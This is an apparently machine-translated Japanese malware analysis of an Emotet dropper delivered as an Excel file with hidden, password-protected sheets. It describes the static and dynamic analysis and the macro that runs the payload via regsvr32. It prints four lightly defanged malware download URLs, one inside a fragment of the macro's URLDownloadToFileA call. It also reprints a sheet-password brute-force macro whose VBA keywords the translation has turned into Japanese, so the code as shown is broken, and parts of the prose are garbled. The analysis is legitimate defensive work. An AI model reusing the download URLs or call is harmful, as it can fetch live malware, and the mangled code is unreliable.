Ilan Duhin および Yossi Poberezsky ( @pober58 )著

エグゼクティブサマリー：

ここ数カ月間、ヨーロッパでは特に「Emotet」を呼ぶマルウェアによる大規模な攻撃が行われてきました。このマルウェアは Excel ファイルとして到着し、多数の URL との通信を試み、最終的に 4 つの DLL ファイルをマシンにダウンロードします。

Emotet は、CreateDirectoryA の API 呼び出しを使用して、ファイルがコンピューター上にローカルに保存されるフォルダーを作成し、そこから Regsvr32.exe を実行します。

静的解析:

OLE ツール:

ファイル構造をチェックしています。

Excel 6 シート内にあるヒントを取得します。

malwoverview.py を使用してファイルの機能を確認し、手がかりを入手します。

3 番目の流れに入り、彼の文字列を抽出します。

4 つの疑わしい URL を見つけます。

ファイルにはマクロが含まれています。さらに、コード全体が含まれるすべてのセルを見つけます。

動的分析:

まず、Excel (Office 2021 の一部) を開こうとしましたが、何もせずに開いたことに気付きました。

「コンテンツを有効にする」ポップアップが表示されます。少し調べたところ、このメッセージは 2007 ～ 2013 バージョンの Office でのみ表示されます。その後、Microsoft はマクロの実行を自動的に有効にするオプションをブロックします。

マクロを有効にするには、次の図のようにオプションを変更する必要があります。

** Office 2007/2013 では、[コンテンツを有効にする] をクリックすると実行されます。

Excel ファイルに保存して再度入力する必要があります。

そしていま…

ボタンを押すと、4 つのメッセージがポップアップ表示されます。

regsvr32.exe をクリックすると、それを使用してマルウェアを実行するマクロが表示されます。DLL を配置するフォルダーを生成するため、ドロッパーのように機能します。

Excel を開いて静的調査を行うと、被害者から隠蔽されていた 6 枚のシートが表示されます。

各シートにはパスワードが必要です。

パスワードの抽出には「VBA用パスワードブレーカー」を使用します。

ソース：https://www.instructables.com/VBA-Code-To-Unlock-A-Locked-Excel-Sheet/

サブパスワードブレーカー()

'ワークシートのパスワード保護を破ります。

Dim i を整数として、j を整数として、k を整数として

Dim l は整数として、m は整数として、n は整数として

Dim i1 を整数として、i2 を整数として、i3 を整数として

Dim i4 を整数として、i5 を整数として、i6 を整数として

エラー時は次へ再開

i = 65 ～ 66 の場合: j = 65 ～ 66 の場合: k = 65 ～ 66 の場合

l = 65 ～ 66 の場合: m = 65 ～ 66 の場合: i1 = 65 ～ 66 の場合

i2 の場合 = 65 ～ 66: i3 の場合 = 65 ～ 66: i4 の場合 = 65 ～ 66

i5 = 65 ～ 66 の場合: i6 = 65 ～ 66 の場合: n = 32 ～ 126 の場合

ActiveSheet.Unprotect Chr(i) & Chr(j) & Chr(k) & _

Chr(l) & Chr(m) & Chr(i1) & Chr(i2) & Chr(i3) & _

Chr(i4) & Chr(i5) & Chr(i6) & Chr(n)

ActiveSheet.ProtectContents = False の場合

MsgBox 「使用可能なパスワードの 1 つは、「& Chr(i) & Chr(j) & _」です

Chr(k) & Chr(l) & Chr(m) & Chr(i1) & Chr(i2) & _

Chr(i3) & Chr(i4) & Chr(i5) & Chr(i6) & Chr(n)

出口サブ

終了の場合

次へ: 次へ: 次へ: 次へ: 次へ: 次へ

次へ: 次へ: 次へ: 次へ: 次へ: 次へ

エンドサブ

VBA コードを挿入するには、ALT+F11 キーを押し、貼り付けて実行する必要があります。

すべてのシート内にパスワード ブレーカーを貼り付けます。

Excel は、要求されたシートのパスワードを自動的に表示します。

右クリックを押すとシートが「保護」されていることを確認できます。

シート 1 のデータ:

シート 2 データ:

文字列を再編成すると、次の 4 つの URL が表示されます。

- URLDownloadToFileA”、”JCCB”、0、”https://audioselec.c[o]m/about/dDw5ggtyMojggTqhc

-https://geringer-muehle.[de]/wp-admin/G/

-http://intolove.co.[uk]/wp-admin/FbGhiWtrEzrQ/

-http://isc.net.[ua]/themes/3rU/

シート 3 データ:

シート 4 データ:

先ほど見たもう 2 つの URL。

シート 5 データ:

シート 6 データ:

文字列を要約する方法の指示が含まれています。

DLL 分析:

エクスポート機能番号 18。

DLL を実行した後、[メモリ] タブでいくつかの興味深い文字列を見つけました。

さらに、実行時に自身を次のパスにドロップします。

VT で DLL の記憶文字列を分析すると、Emotet の説明が得られました。

結論:

· マクロは、Emotet マルウェアをダウンロードして実行するために手を差し伸べます。

· Web URL にアクセスするためのマクロを使用した Excel ファイル。

· regsvr32.exe 経由 Emotet が実行されます。

· Emotet ドロッパーは、%UserProfile%\Appdata\Local の下にランダムに生成されたフォルダーに DLL ファイルとしてダウンロードされます。